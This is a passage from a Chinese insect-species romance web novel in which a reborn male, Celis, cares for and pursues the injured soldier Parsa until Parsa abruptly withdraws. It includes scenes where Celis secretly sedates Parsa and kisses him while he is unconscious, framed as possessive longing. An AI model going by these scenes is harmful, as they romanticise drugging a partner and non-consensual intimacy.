帕尔萨翻书的手会停顿,然后一手揽过他,另一只手继续看书,只是目光有时会从书页移开,落在塞利斯脸上走神片刻。
最让帕尔萨无措的,是临睡前。
不知从何时开始,塞利斯就完美的将帕尔萨的卧室变成了自己的住处。
他给两虫洗漱完毕,就会爬上床,非常熟练的把自己塞进帕尔萨怀里,或直接趴在他身上,耳朵贴着胸口,听沉稳的心跳。
“哥哥,你的胸肌好大好软。”
塞利斯总会说些让帕尔萨不知所措的话,然后埋头蹭一蹭,调整到一个舒服的姿势就不动了。
仿佛帕尔萨不是一具伤痕累累的躯体,而是最温暖安全的巢穴。
如果不是怕吓到帕尔萨,塞利斯其实想埋头狂吸,甚至......
留下身体僵硬耳朵绯红的帕尔萨,手一时间都不知道该往哪里放。但最后还是会把小雄子,像恶龙守护着宝藏般,圈进自己的怀里。
这天,帕尔萨独自在书房。
他强迫自己拿起之前看了一半的书,目光落在字句上,却迟迟没有翻动一页。
他想起两虫最近的事。
帕尔萨不是不谙世事的年轻军雌。他见过欲望,懂得那些藏在恭敬背后的窥探与渴求。
但塞利斯的目光大部分时间太过干净,太过专注,好像眼里真的只装着他。
只有偶尔在很近的距离,或某些不经意的瞬间,帕尔萨才会捕捉到那琥珀色深处一闪而过的,幽暗得像要将他吞噬的炽热。
那是什么?
他不想深究,又无法不去想。
当某个答案隐约浮现时,心口会蓦地一紧,随之而来的却是更深的自我怀疑。
他是谁?一个残废的,精神濒临崩溃的,甚至已被其他虫永久标记过的军雌。
而塞利斯,年轻、鲜活,拥有一种夺目的生命力,和隐藏在那温顺外表下难以忽视的
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吸引力。
从见到塞利斯的第一刻起,那双琥珀色的动虫的眼睛,就有让他有一种深深的熟悉感。
那天塞利斯在浴室中释放的信息素,让他下意识臣服,更为之狂热痴迷。
帕尔萨多次想过该推开,该保持距离。塞利斯还那么年轻,等回到首都星,会面对更加缤纷多彩的生活,更多鲜艳亮丽的军雌。
而他意外来到西莫星,本就是为了寻找那个对他重要的虫,不该耽误塞利斯。
但他狠不下心来拒绝,又总在塞利斯无意识的靠近和依赖中,一次次不可自拔的沉沦。
帕尔萨烦躁地合上书。
就在这时,一阵尖锐的剧痛毫无预兆地从脊椎残端炸开,瞬间席卷全身!
精神暴动的前兆,比以往任何一次都更凶猛。
冷汗顷刻间浸湿了后背。帕尔萨闷哼一声,手指死死扣住沙发扶手,骨节泛白。
眼前景物开始扭曲旋转,耳中满是嗡鸣声,皮肤下的虫纹疯狂蠕动发烫。
手臂皮肤上,几丁质硬壳纹路开始浮现,五指指尖不受控制地抽长、变尖和硬化。
“哥哥!”塞利斯听到菲克的警报后立马飞奔进房间。
帕尔萨勉强抬起眼,视线模糊中,看到塞利斯几步冲到他面前。
没有迟疑,塞利斯直接双腿岔开跪坐在他身上,双手捧住了帕尔萨因痛苦而冰冷汗湿的脸,强迫他看向自己。
“看着我,帕尔萨!”塞利斯的声音不容抗拒,那双总是带着笑意的眼睛此刻锐利如刀。
眼眸深处翻涌与以往完全不同的强势,“把注意力给我!别陷进去!”
伴随着话语的精神命令,直接撞入帕尔萨混乱的脑海,帕尔萨下意识地遵从。
塞利斯俯身,将自己的额头重重抵上帕尔萨的额头。
一股强悍的精神力,透过这紧密相贴的肌肤,毫无保留的冲进帕尔萨狂暴翻腾的精神海域。
这不光是疏导,更像是一种强势的安抚镇压,带着鲜明的个人印记和浓烈的占有意味。
帕尔萨的精神壁垒在本能地抵抗,但怕伤害到塞利斯,又强行让自己放松。
暴动的精神海域被精纯强大的力量包裹抚平,剧痛如潮水般缓缓退去,混乱的视野重新清晰,嗡鸣声减弱。
他看见塞利斯近在咫尺的脸,额头上渗出细密的汗珠,眼神专注到偏执,嘴唇抿得发白。
那股香甜的玫瑰信息素,毫无保留地释放出来,浓郁得几乎让帕尔萨窒息,却又奇异的带来一种深入骨髓的安宁和归属感。
颈后的临时标记在发烫。
仿佛被这濒临失控的暴动刺激,那个不久前才被留下的烙印,正在苏醒呼应。
试图将他的痛苦和混乱,与眼前这个虫的精神波动牢牢绑定。
“好点了吗?”塞利斯的声音低哑,气息有些不稳,强行调动大量精神力让他的腺体阵阵抽痛。
但他捧着帕尔萨脸颊的手没有松开,拇指轻柔地摩挲着帕尔萨脸上狰狞的虫纹。
“...嗯。”帕尔萨沙哑的回应。
塞利斯似乎松了一口气,眼底的强硬散去,重新覆上熟悉的温柔和担忧。
但他没有退开,保持着额头相抵的姿势,低声说,更像一种宣告:
“下次感觉不对,马上叫我,任何时候。”
他的气息拂过帕尔萨的唇,然后很轻的,吻了吻帕尔萨的唇珠。
“不许自己硬撑,记住了?”
他们之间有过更亲密的帮助,但唇齿相接的亲吻却很少,像一种心照不宣的底线。
帕尔萨看着他,看着那双眼睛里的认真和某种深藏的执拗,喉结滚动,最终点了下头。
塞利斯这才缓缓退开,指尖留恋般的蹭过帕尔萨脸颊,然后起身,神色恢复如常问道:
“正好修复舱的药液准备好了,现在过去?”
18. 第 18 章 塞利斯意外的晕倒
修复舱的药液包裹着帕尔萨的身体,几次治疗下来,那些纵横交错的疤痕明显淡了,逐渐愈合。
虫纹也从脸颊退至下颌处,只在情绪波动或精神不稳时才会蔓延上去。
塞利斯常常在修复程序运行时,长久地坐在控制台前。
脸上褪去日常的温和,只剩面无表情的冷漠。
光幕上的数据曲线平稳的滚动着,他的目光很少落在上面。而是穿过透明的修复舱壁,描摹着帕尔萨沉睡的轮廓。
只有在这样毫无防备的时刻,帕尔萨脸上才找不到清醒时,那种隐藏的连他自己都未曾察觉的挣扎痕迹。
包括今天在安抚帕尔萨精神暴动时,临时标记和浅层精神烙印建立起的连接,都让塞利斯清晰地感知到,帕尔萨心里那架无形的天平,正在两个模糊的重量间摇摆。
一个是他,活生生的、百般勾引卖乖赖在帕尔萨身边,却仍无法彻底靠近对方的塞利斯。
另一个,是那个连面目都已被爆炸和失忆抹去,却依旧在帕尔萨精神深处留下“必须找到”的念头的白月光。
凭什么?一个可能早已死去的虫,凭什么还能在他小心翼翼求来的亲近中,投下无法消除的隔阂?
嫉恨像瞬间燃起的大火,将他的理智焚烧。
他有无数种方法,让帕尔萨永远只记得他一个虫,永远只为他的信息素而臣服,永远只承受着他的欲望。
可当他的视线落在帕尔萨即使睡着也会微蹙的眉间,感受到对方精神海域留下的严重创伤,那暴烈的恨意又扭曲成更复杂酸涩的东西。
他恨那个虫阴魂不散,更怕自己让帕尔萨陷入这种两难,加重伤害到对方本就极度痛苦的精神海域。
这挽回着塞利斯即将焚灭的最后一丝理智,但又危险到似乎会因为任何风水草动,而全面崩塌。
那把火也烧得他心口灼痛,舌尖苦涩。
深夜,修复舱低鸣着结束工作。
塞利斯将意识朦胧的帕尔萨抱回主卧大床,喂他喝下兑着营养剂和精神舒缓剂的温水。
药物作用很快,帕尔萨的呼吸变得深长,肌肉彻底放松下来。
他贴近帕尔萨的脸庞,目光病态而痴迷的看着那张虫纹逐渐褪去,几乎露出全部俊美面貌的雌虫。
指尖缓缓划过帕尔萨淡去了冷冽的眉骨、挺拔的鼻梁,最后停留在微凉的唇瓣上。
他用指尖按了进去,感受着唇齿间的温度,而后拿出手指,低下头吻了上去。
起初是羽毛般的轻触,轻轻的含了含又舔了舔那柔软的唇珠。
塞利斯猛地喘了一下,眼中翻涌起晦暗汹涌的波涛,随即加深,舌尖撬开齿关长驱直入,气息不容拒绝地交融。
这是两虫在这一世,第一次舌齿相交的吻。帕尔萨无法拒绝,塞利斯也不允许他拒绝。
他不顾颈后的疼痛,释放出自己的信息素,混合着安抚性的精神力,像织就一张温柔却坚韧的网,将沉睡的雌虫密不透风的包裹。
帕尔萨在双重牵引下无意识地向热源贴近,喉间溢出模糊的声响,是对雄虫气息潜意识的信赖和接纳。
唾液交换传来黏腻暧昧的声响,塞利斯像口渴难耐般贪婪地加深这个吻,索取着熟睡的雌虫口中的所有。
浓郁的玫瑰味信息素将冰雪的气息狠狠缠绕,难以逃脱又无可自拔。
唇齿厮磨间,他眼中带着病态的满足与偏执的确认,看着帕尔萨沉睡又情动的面庞。
不,他不会允许帕尔萨有选择,选项只能有一个。
几天后的一个下午,阳光暖洋洋的洒落在花园里,微风中送来花草的清香。
帕尔萨坐在宽大舒适的藤编吊篮椅中,手中拿着一本《星域珍稀植被赏鉴》。
温暖的光线柔和了他冷冽的轮廓,虫纹渐褪的脸上也有了几分之前的神采,不再是消极颓废的模样。
银色的长发柔顺的散落在身侧,暗红色的眼眸专注的看向书页,低垂浓密的睫毛在眼睑下方投出一小片阴影,柔软轻薄的嘴唇还透着夜里被塞利斯偷偷亲肿的红润。
修剪完银叶藤的塞利斯转身看到的就是这样一副景象,看得他心里发软。
他在花园里的水池冲了冲手,走过来紧挨着帕尔萨坐下。吊篮椅比较宽大,但是塞利斯就是喜欢挤着帕尔萨坐,乐在其中。
塞利斯伸手将帕尔萨一缕垂落在耳后的银发勾至耳后,然后下巴放在帕尔萨的肩窝处,暗戳戳吸了一口冰雪的香气,凑上前道:
“看什么呢哥哥?”
温热的气息拂过耳廓,让帕尔萨的翼状副耳痒的一颤,面上却依旧毫无波澜:
“瓦松针,一种可以在极寒极旱的星球上生长的植物。”
他将书往塞利斯方向侧了侧,塞利斯看清了那个像小金字塔一样的针刺形植物图片。
塞利斯看着帕尔萨的美色有些心猿意马,但是嘴上接着问道:
“哥哥好像挺喜欢植物的,在首都星的家里,一定有个很漂亮的花园吧?是不是养了很多不同星球来的稀有品种?”
他问的理所当然,毕竟上一世两虫居住的庄园里有一座山的生态模拟园林。
“没有。”帕尔萨回答,声音平淡,
“小时候确实养过不少,后来成年进了第一军团,军务多,常年不是待在军部,就是驻扎在各个星球前线。喜欢是喜欢,但没那么多时间和精力照料,慢慢养得就少了。”
塞利斯“哦”了一声,点了点头,没想到帕尔萨是在婚后才打造的生态模拟园林么。
不过塞利斯没有放在心上,两虫的距离太近,浅淡的信息素在相互缠绕,他的目光一直被吸引在帕尔萨说话间张动的唇瓣上。
塞利斯缓缓靠近,在帕尔萨说完后轻轻亲在了他的嘴角,飞快的舔了一下。
然后怕被拒绝般又迅速的埋头,双臂紧紧抱住帕尔萨劲瘦的腰,在帕尔萨颈侧像小狗一样拱来拱去。
“你的信息素好好闻啊哥哥。”他嘟囔道,但话语的内容堪称骚扰。
异性的信息素是比较私密的事情,任何冒昧的提起异性陌生虫的信息素都属于兴骚扰行为。
帕尔萨在塞利斯靠近时就察觉了,但依旧纵容着没有动,手上还稳稳的拿着书。
听到塞利斯的话语脸上神情也毫无变化,只是耳根微红,抬起另一只手揉了揉那毛茸茸圆溜溜的后脑勺。
塞利斯闹够了,就身子一滑,歪进了帕尔萨的怀里,帕尔萨一手松松的搭在他的腰间。
他玩着帕尔萨修长的手指,帕尔萨的手掌骨骼宽阔,手指也骨节分明,白色手背上浮现的淡青色脉络一看就很有力量感,能一手握住两虫......
嗯,想舔。塞利斯蠢蠢欲动,但最终只是握住帕尔萨的之间放到唇前轻轻的亲了亲。
帕尔萨看着书,不为塞利斯的骚扰所动。塞利斯什么也不想干,就想这么静静的和帕尔萨待在一起。
午后的阳光透过头顶的遮光纱照进来,温暖又舒适。
塞利斯昏昏欲睡,手指有一下没一下的卷着帕尔萨胸前的一缕银发。他近来一直身体容易倦怠,后颈腺体时不时会传来钝痛。
他将其归咎于这段时间过度频繁使用精神力和信息素的小症状,并未十分上心。
迷糊间忽然想起厨房的烤箱里还烤制着饼干,塞利斯瞌睡虫飞走。
“哥哥,烤箱里的曲奇应该好了,我去拿。”
他抓着吊篮边起身,朝帕尔萨笑了笑,脸色在阳光下显得有些苍白。
帕尔萨抬眼看他,目光在那缺少血色的脸上停顿了一瞬,唇瓣微动,似乎想说什么。
塞利斯已转过身,朝屋内走去。
还未走出几步,强烈眩晕突然袭来,视野骤然漆黑,天地旋转。他想抓住门廊的柱子,手指却无力地不听使唤,身体直直的向前倒下。
预期的疼痛没有到来,几道影子带着破风声迅疾掠过,冰冷坚硬的质感却在触及他时化为巧妙的承托。
是帕尔萨,他在塞利斯倒下的刹那,本能的瞬间展开收拢已久的骨翼,银色的翅骨如闪电般探出,稳稳接住了跌倒的身影。
“塞利斯!”
听到帕尔萨的惊呼,塞利斯本想回应,想告诉他没事,但声音还未出口,就陷入了彻底的黑暗。
身体上的灼热和寒冷在混乱中交替,塞利斯意识浑浑噩噩。
后颈腺体疼痛持续传来,昏沉中,他感觉到帕尔萨一直在身边,将他抱在怀中。注射几针药剂后,用冰凉湿润的毛巾给他的额头降温,随后温柔的喂他喝几口温水。
宽大却微凉的手会时不时地覆上他滚烫的额头,停留片刻,又沉默地移开。
耳边总有模糊的声响,是帕尔萨压低了声音在和菲克说话,断断续续,听不真切。偶尔能捕捉到几个词,
“...严重...药剂有限...送出去...首都星...”
“主虫,塞利斯是因为过度使用信息素和精神力导致的腺体发炎,经过检测,他的腺体本就受损,这几天又拖了很久没有处理,现在有些严重。”
“星舰上的医疗储备大多是用于军雌,雄子的药剂有限,这几针也只是暂时缓解,最好将塞利斯送出去接受治疗,如果想要彻底痊愈,还是需要回到首都星进行专门的诊治。”
介于塞利斯突发的状态,菲克不得已唤醒了帕尔萨的全部意识。
面对现在的帕尔萨,菲克更多了几分稳重和恭敬,语气也不再是平常的可爱。
帕尔萨沉默着,他想起自己如何出现在这里,想起与塞利斯的点点滴滴。
一切如镜花水月,却又如此美好的让虫沉溺。
最后他伸手,轻柔地抚平塞利斯在睡梦中皱起的眉头。
塞利斯陷入更深层的光怪陆离的梦境。
梦见自己被困在无边无际的黑暗虚空,远处的帕尔萨是他不敢再回忆的完全虫化的庞大躯体,随后梦境又陡然翻转,他仿佛回到了前世,帕尔萨还是那个身着笔挺军装、意气风发的帝国上将。
他梦到了很多两虫之间的往事,那些细致入微的体贴,无言的纵容和守护,隔着遥远的时光和生死,在此时病弱的
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恍惚中变得无比清晰。
好像中间那些刻薄的言语、对峙与争吵,乃至最后痛心断肠的死亡和分离,都只是一场醒后即忘的噩梦。
病中脆弱的神经模糊了现实与记忆的边界,那些被他刻意尘封或扭曲的美好,全部不受控制地翻涌上来。
病来如山倒,一场腺体发炎,击垮了撑了多年的塞利斯。
帕尔萨死后奥唐纳家族腹背受敌,他的雌父找到塞利斯,给了他一条帕尔萨早就为他铺好的道路。
授勋公爵,带着帕尔萨的所有资产,去往海兹尔星,那里会成为塞利斯的封地。
公爵爵位是虫皇对于为国捐躯的元帅家属的补偿,也是帕尔萨一直为塞利斯争取的头衔,即使奥唐纳家族大厦将倾,在虫皇授勋的庇护下,他也可以安然无恙。
而海兹尔星本是帕尔萨的属地,那里有着丰富的能源矿产,宜居的气候和发达的星际旅游业,是帝国经济最发达的星球之一,也被帕尔萨送给了塞利斯。
这一条路,可以让塞利斯过上衣食无忧、为所欲为的生活,没有了婚姻的捆绑,拥有至高的地位特权和无尽的财富。
星网上当时热度最高的一条就是“帝国玫瑰花落谁家”。谁都知道元帅与他的雄主塞利斯阁下感情不和,而且虫族因为繁衍的需要也没有守节的传统。据传席尔瓦家族的新任家主还在追求塞利斯阁下。
但出乎所有虫的意料,塞利斯授勋后,没有选择那一片坦途的道路,而是选择成为了奥唐纳家族的掌权者!
他不知如何获得了帕尔萨雌父雄父的支持,以帕尔萨雄主的身份继承了奥唐纳家族的家主之位。并以铁血的手腕力挽狂澜,延续了奥唐纳家族作为四大贵族之首的十年荣光。
或许因为帕尔萨终于回到他的身边让他感到安心,松了那口挺了许多年的气。
塞利斯这场高烧来得凶猛,病情反复,把他一向清醒的头脑也烧得昏沉模糊。
最初几日,他连吞咽都费力,无法进食只能喝营养剂。
帕尔萨将他从床上扶起,让他虚软的后背靠在自己肩头。这个姿势让塞利斯完全陷在他的怀里,能感受到帕尔萨宽阔温暖的胸膛。
“张嘴。”帕尔萨的声音在头顶响起,比平时多了几分温柔。他用小勺舀起热好的营养剂,耐心地递到塞利斯唇边。
塞利斯勉强张口,刚喝进去却因气管不适引起一阵呛咳,喂进去的一点又咳洒了出来,弄湿了帕尔萨的衣襟。
帕尔萨没有管自己身上的水渍,他抬起另一只手,一下下轻拍抚顺着塞利斯的后背,直到塞利斯的咳完呼吸重新顺畅。
“慢慢来。”帕尔萨没有丝毫不耐。他又舀起一勺,再次递到塞利斯唇边,周而复始直到营养剂全部喂完。
病得最重的那两天,塞利斯意识浑浑噩噩的睁不开眼,连勺喂的营养剂也喝不进去了。
昏沉中,他感觉到帕尔萨宽阔的手掌稳稳的托起他的后脑,随后温热的触感便贴上了他干裂的嘴唇。
帕尔萨的气息笼罩下来,带着营养剂甜味,和那股令他安心着迷的冰雪冷香,帕尔萨含着一口营养剂吻住了塞利斯的唇。
塞利斯下意识的张开嘴,温热的液体被渡了进来,他却渴求的探出舌头,无意识的想要找寻追逐对方更柔软湿润的舌尖。
结果好不容易渡进来的营养液,又溢了出去顺着嘴角流下。
帕尔萨的唇离开了,塞利斯茫然地半睁开眼,视线模糊地看到帕尔萨靠近的脸。帕尔萨抬手用拇指轻轻擦了擦他的嘴角,拭去了水痕。
而后什么也没说,只是再次含了一口营养剂,低头,重新覆上他的唇。
塞利斯夜间偶尔陷入不安的梦魇,他在梦中挣扎着呼吸急促,手指无意识的抓紧。
这时他的手会被另一只更大更有力的手,分开手指紧扣住。
随后帕尔萨会环过他的腰将他拖进温暖的怀抱,一边用手在他后背轻轻的拍着:
“没事。”声音低缓,贴着塞利斯的耳廓一遍又一遍的安抚。
塞利斯在这安心的怀抱和重复的低语中,渐渐缓和下来,重新进入平稳的睡眠。
在生病的脆弱时刻,塞利斯放任自己沉溺在这份久违又熟悉的温柔里。
那是上一世帕尔萨,一直呵护着他的温柔。
有那么几个瞬间,意识模糊的他几乎要相信,时光真的可以倒流,他们已经回到最初——
直到塞利斯终于不再发烧,腺体也消炎不会疼痛,体力逐渐恢复后。
帕尔萨不再与他同住。
突然的改变让他措手不及。
“你需要好好静养,彻底恢复。”帕尔萨给出的理由听起来合理,
“有什么需要都可以喊菲克,他夜间可以留在你的房间照顾你。”
帕尔萨的语气是一贯的平静,却带着一种距离感,好像回到了最开始,他刚来这里初次见到帕尔萨时,两虫对话的感觉。
他将塞利斯安置在早已布置的更为舒适妥当的客房中,自己则退回主卧,关上了那扇曾夜夜为塞利斯敞开的门。
19. 第 19 章 无声的拒绝
漆黑的夜色弥漫在寂静的别墅之中,塞利斯躺在柔软却冰冷的大床上,毫无睡意。
他拒绝了菲克守夜的好意。睁着眼目光投向天花板,却没有聚焦。
另一侧没有了可以依靠的温暖身躯,让他很不适应。
时光仿佛倒流回十年前,帕尔萨刚离世不久的日子。
那时,除了最开始见到帕尔萨完全虫化的尸体,遭受冲击的那一刻,直到后来那场由虫皇亲临、举国哀悼的风光葬礼结束,他都始终神色平静,不见波澜。
没有眼泪,也没有感到悲伤和痛苦,就是...什么感觉都没有。
塞利斯正常的吃饭,正常的出入帝国研究院,见到他的虫,都会面露不忍劝他节哀顺变。
他不知道那些虫为什么表现得比他还悲伤,他都能礼貌性的扯扯嘴角,微笑回复。
周围的议论越来越多,有可怜同情他唯一的雌君早逝,也有帕尔萨的下属咒骂他怎么可以如此无动于衷。
他都选择视而不见,没有影响他分毫。
甚至在某一天刷牙时,塞利斯看着镜子里面无表情的自己,皱眉咧嘴做出一个非常悲伤的表情。
很难看,努力被拉扯的五官,像一个奇怪滑稽的小丑。
他又恢复了自己平静的表情。
直到一天夜里,他梦见帕尔萨来到床边,温柔的将他抱进怀里,他面露嫌弃,象征性的挣扎了两下,便放任自己被温暖的冰雪气息包裹。
那双暗红色的眼眸深深的凝视着他,声音是一贯的冷冽,却又带着珍重的柔和:
“雄主,我走了。我不在的时候,要照顾好自己。我会...一直想念您。”
话语不知为何变成了帕尔萨临出征前对他说的话,但当时帕尔萨并未对他说“我走了”这三个字。
他没有像那天一样甩开帕尔萨的手,也没有直接翻身睡去,而是下意识的抓住帕尔萨的衣角。
帕尔萨说完便放开他转身离开,身上穿的衣服也不知何时变成了冰冷的元帅服。
“你别走。”他没有问帕尔萨要去哪里,而是下意识的挽留。
帕尔萨没有停顿,最后一片衣角也在他的手中滑落,身影冲着门外的白光走去。
塞利斯想起身,却被钉在黑暗里动弹不得,他的手还伸着,只能急迫的说:
“回来,帕尔萨!”
“我命令你回来!”
帕尔萨没有回头,高大的背影渐行渐远,塞利斯在黑暗中开始歇斯底里的喊道,
“你别走!”
“我求你别走!”
“别走——”
他怎么气急败坏的呼喊和焦急卑微的哀求都没有用,那道身影最终消失在刺眼的白光中。
塞利斯醒了,急促的喘息,下意识的想寻求身边温暖的依靠。
以往每当塞利斯梦魇,帕尔萨总会将他抱进怀中,再温柔的轻拍他的后背,平息着他的慌乱。
但如今他的身侧什么都没有,只有一片冰冷。他的身边再也没有可以依靠的身躯。
他终于意识到,帕尔萨再也不会回来了。
突然感到脸上一阵凉意,抬手一抹,原来他早已泪流满面。
那是帕尔萨离世的第31天,确认死亡后的第746个星时。
往事封尘,塞利斯不愿意再追溯那些日子,现在好不容易帕尔萨又重新回到了他的身边,他明明已经可以继续依偎着那个温暖熟悉的胸膛。
却在今夜再次离他而去,独留他一虫度过漫漫长夜。
塞利斯手指无意识的攥紧被面,抓出凌乱的褶皱,一如他被攥痛般的内心。
为什么帕尔萨不再与他同眠?是因为帕尔萨这几日照顾他太累了么?那确实需要好好休息一下。
塞利斯为帕尔萨找着理由解释,但可以两虫一起睡啊,他可以不闹帕尔萨,也可以不贴着他,不会打扰他休息,只要他们睡在一起就都无所谓。
还是他给帕尔萨睡前放精神舒缓剂的事被发现了?塞利斯心中一慌,他可以解释,他只是想让帕尔萨睡个好觉,只是,只是见到帕尔萨睡觉的样子就忍不住想要偷偷做些坏事.....
还有一个最糟糕的答案,塞利斯不愿意去想,也不会接受。
天刚亮时,塞利斯就醒了,眼下泛着未睡好的淡淡青黑色。
以往塞利斯总在帕尔萨怀里醒来,呼吸间满是对方冰雪的气息。他经常贪恋的埋头蹭一蹭,帕尔萨会收紧搭在他腰间的臂弯。
如今他在客房宽敞却冰冷的大床上独自睁眼,只有枕头残留着一点点自己信息素的味道。
主卧的门紧闭着,像是一道无法逾越的壁垒。
他起身去做早餐,将煎蛋摆成爱心的形状,热好饮品一起放到保温箱中。
转身正准备去叫帕尔萨吃饭,却见到了一直未出现的菲克。
往常他来到厨房时,第一个见到的都会是冲他打招呼,嬉笑着跟他唠嗑的机器虫。
今天姗姗来迟的菲克,显示屏上不再有表情,只有机械的电子合成音道:
“塞利斯阁下,主虫让我来取早餐。”
塞利斯,阁下?
这个陌生又熟悉的称呼,是他重生近半年来第一次听到这个称谓。
“帕尔萨是身体不舒服不想出来吃饭吗?好的,今天在卧室吃也可以。”
他扯了一个习惯性的微笑,但他不知道自己此时笑的很难看,“我给他送过去。”
电子音滴滴响了两下,菲克欲言又止,最终保持了沉默,跟随着塞利斯上了楼。
塞利斯端着托盘站在卧室门口,敲了两下房门。
“哥哥,是我。”
里面沉默了一会儿,随后传来帕尔萨平静的声音:“放门口吧,谢谢。”
塞利斯拒绝了菲克想要接过托盘的举动,他直接推开房门,里面的银发青年却没有在床上,而是穿着黑色丝质睡衣坐在悬浮轮椅上,背对着他看向落地窗外。
不知是刚起来,还是一夜未睡。
窗户打开着,新风系统也在无声中不断换着风,但依然残留着茄叶的味道,轮椅一侧矮桌上的烟灰缸里满是茄叶头。
帕尔萨有轻微的洁癖,为了避免在睡觉的领地留下味道,他几乎不会在卧室抽迦叶。
开门声响起,帕尔萨没有回头,背影高大而寂寥,恍惚间和那个离去的背影重合。
一股莫名的害怕的情绪笼罩上来,塞利斯快步走上前,将托盘放到矮桌上,伸手去摸帕尔萨的额头。
“你怎么了哥哥?是不是哪里不舒服?”
塞利斯没想到帕尔萨微微侧头,避开了他的手。
他的手在空中停顿了一下,装作若无其事的收了回去,指尖在身侧慢慢收紧。
“没事,今日没有胃口。”帕尔萨没有看向他,声音冷冽。
“那先洗漱?”塞利斯问着,已经上前一步准备推帕尔萨的轮椅。
“不必了,以后你都不必过来服侍我洗漱,菲克会辅助我。”
塞利斯一怔,他有些慌乱,蹲到帕尔萨身前,抬头望向他。
帕尔萨这时才垂眸与他对上视线,暗红色的眼眸里没有任何情绪,只有一片漠然。
塞利斯心下一冷,他感受不到帕尔萨临时标记带来的情绪连接了。
之前帕尔萨的精神力场虽然不稳,但对他是不设防的,甚至信息素会无意识中缠绕过来,寻求那点塞利斯的安抚。
现在帕尔萨周身仿佛筑起了一道无形的屏障,将自己的信息素收敛得干干净净,同时也将塞利斯温和探出的一丝精神力不留痕迹地隔绝。
塞利斯有些手足无措,他装作脆弱的说道:
“为什么哥哥,是我做错什么了吗?”伴随着话语,琥珀色的眼眸很快浮上了一层水光,显得楚楚可怜。
但以往百试百灵的招式,今天也失去了效果。
帕尔萨移开视线,避免对上塞利斯的目光,无动于衷的说:
“没有,是我的错,我没有提前跟你沟通好,雌雄有别,应该保持适当的距离。”
适当的距离?适当的距离?!什么他妈的是适当的距离!!!
那些眷恋的缠绵,信息素失控的交融,生病时对他不眠不休的照顾,为什么到今天就该保持适当的距离了?
帕尔萨亲手将两人之间暖昧模糊的边界,勾勒得清晰而冰冷。
“哥哥!我不想跟你保持距离,你是我最重要——”塞利
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斯想要急切的表达自己的诚心。
帕尔萨却打断塞利斯的话:“好了塞利斯,我想要休息一会儿,你先出去吧。”
塞利斯想要和帕尔萨对峙,却在看见帕尔萨微蹙的眉头和疲惫的面容时,突然哑了声。
那是帕尔萨因精神海痛苦而忍耐的表情。
过去也是这样,两虫在争吵时,不,应该说塞利斯单方面和帕尔萨争吵时,帕尔萨总是骂不还口的沉默着,甚至还会劝塞利斯不要生气伤到自己。
但帕尔萨的微表情透露了他因太过伤心而导致精神海震荡的痛苦,塞利斯知道,却从来不在意,因为塞利斯自己痛苦,他要让帕尔萨跟他一样的痛苦。
如今他不想跟帕尔萨争吵了,他只想让帕尔萨在他身边,好好的活着,
帕尔萨说完便转身控制着悬浮轮椅来到床边,菲克安静的滑过他的身边,辅助帕尔萨躺到了床上。
他能做的,原来菲克都可以替代,塞利斯想道。手心的指甲不知不觉中,已经深深陷进皮肉。
塞利斯顺从的退出卧室,关上了房门。他站在门口,缓缓低头,摊开自己苍白的掌心,上面已有斑驳的血痕。
中午的餐食是菲克来取的,塞利斯独自在空荡的餐厅吃完饭。
收拾完厨房,他去花园给寒星草搭建新的支架,顺便整理自己混乱的思绪。
看着前几日长出来的几个含苞待放的花骨朵,此时不知为何已经枯萎了,塞利斯有些崩溃。
为什么?为什么他已经那么小心翼翼精心的照料了,为什么还会枯萎?
感觉到有视线投在他身上,塞利斯猛的转身。
不是卧室,塞利斯看到二层的露台上,帕尔萨抽着迦叶,目光落在更远处的森林中,并没有看他。
片刻后,塞利斯泡了帕尔萨爱喝的茶。
他推开玻璃门走进露台,帕尔萨正望着远方,迦叶烟雾缭绕,模糊了他的轮廓。
“喝点茶?”塞利斯将杯子轻轻放在他手边,小声问道。
帕尔萨“嗯”了一声,按灭了茄叶,目光依旧停留在一望无际的暗绿色深林中,没有看他。
直到茶水彻底变凉,没有再抽,也没有碰那杯茶。
塞利斯坐在露台上离帕尔萨不远的沙发上看书,过了很久帕尔萨都未曾将视线投向他。
那双曾经在他胡闹时流露出无奈,在他病中盛满担忧的暗红色眼睛,现在像结了冰的湖面,映不出他的影子。
晚餐是塞利斯花了心思做的,几道菜都是帕尔萨近期喜欢的,他请求帕尔萨来一同用饭。
塞利斯布好菜,期待地看向帕尔萨。
帕尔萨沉默地吃着,塞利斯试着找话题,说起花园里某株植物似乎冒了新芽,说起在星网上看到一个蹩脚的笑话。
“嗯。”
“是吗。”
“好。”
帕尔萨的回应简短至极,没有任何延伸,也没有反问。餐桌上只剩下碗筷轻微的碰撞声,压抑得让人呼吸困难。
塞利斯想起不久前,哪怕帕尔萨话也不多,但至少在他说话时,会听着,偶尔给出简短却认真的回复,甚至被他逗笑时,嘴角会扬起浅淡的弧度。
这顿饭,他吃的食不知味。
临近午夜塞利斯洗漱完,穿着单薄的睡衣,站在主卧门口。门缝处有光线透出,帕尔萨大概还没睡。他抬手想敲门,手却停在半空。
他在不久前还可以自自然然地推门进去,不必说任何理由的钻进帕尔萨的被窝,把手脚贴上去取暖。
帕尔萨会身体一绷,但不会推开,久了甚至会在他蹭过来时,用手握一握他的手脚是否冰凉。
现在,这扇门关着。两虫的距离似乎很近,却又是那么的遥远。
塞利斯最终收回手,回到空旷冰冷的客房。
他躺在没有温度的床上,翻过身缓缓抱紧自己,蜷缩了起来。
不甘心的面对那个他不想承认的答案。
帕尔萨在拒绝他。
为什么?难道之前帕尔萨动容的种种都是他的错觉?
还是说,正因为看见了他在病弱中依赖无能的模样,才让帕尔萨终于下定决心,斩断这错误的亲近,回到寻找白月光的正轨?
20. 第 20 章 永久标记
第二天,塞利斯依旧没能见到帕尔萨。
他站在露台的围栏边缘,眺望着远处的森林。天空乌云密布,阴沉沉的压在头顶,没有风也没有下雨,压抑的让虫喘不过气。
西莫星高原处的工业废墟区和勒比城的天空,因为磁铁风暴,长期笼罩在暗黄和铁锈红的色调之中。断层带下的原始森林区雨水较多,天空总是盖着一层乌云。
而别墅的天气似乎总是好的过分,今天是少数阴天的天气之一。
塞利斯眼眸中一片阴郁,难道他的存在,已经让帕尔萨痛苦至此了么。
“塞利斯阁下,主虫请您去书房。”菲克的声音从身后传来,语气尊敬又充满了距离感。
一股不好的预感油然而生,塞利斯在转头的瞬间,脸上勉强挂起了一贯的微笑。
“好。”
通往书房的路,显得格外漫长。
书房的门半掩着,塞利斯推门进去时,帕尔萨坐在结实厚重的黑檀木书桌后,目光看向侧面不远处那扇巨大的观景窗。窗外是灰蒙蒙的天色,映得他身影轮廓也透出一股冷硬的疏离。
“哥哥。”塞利斯轻声唤道,走上前。
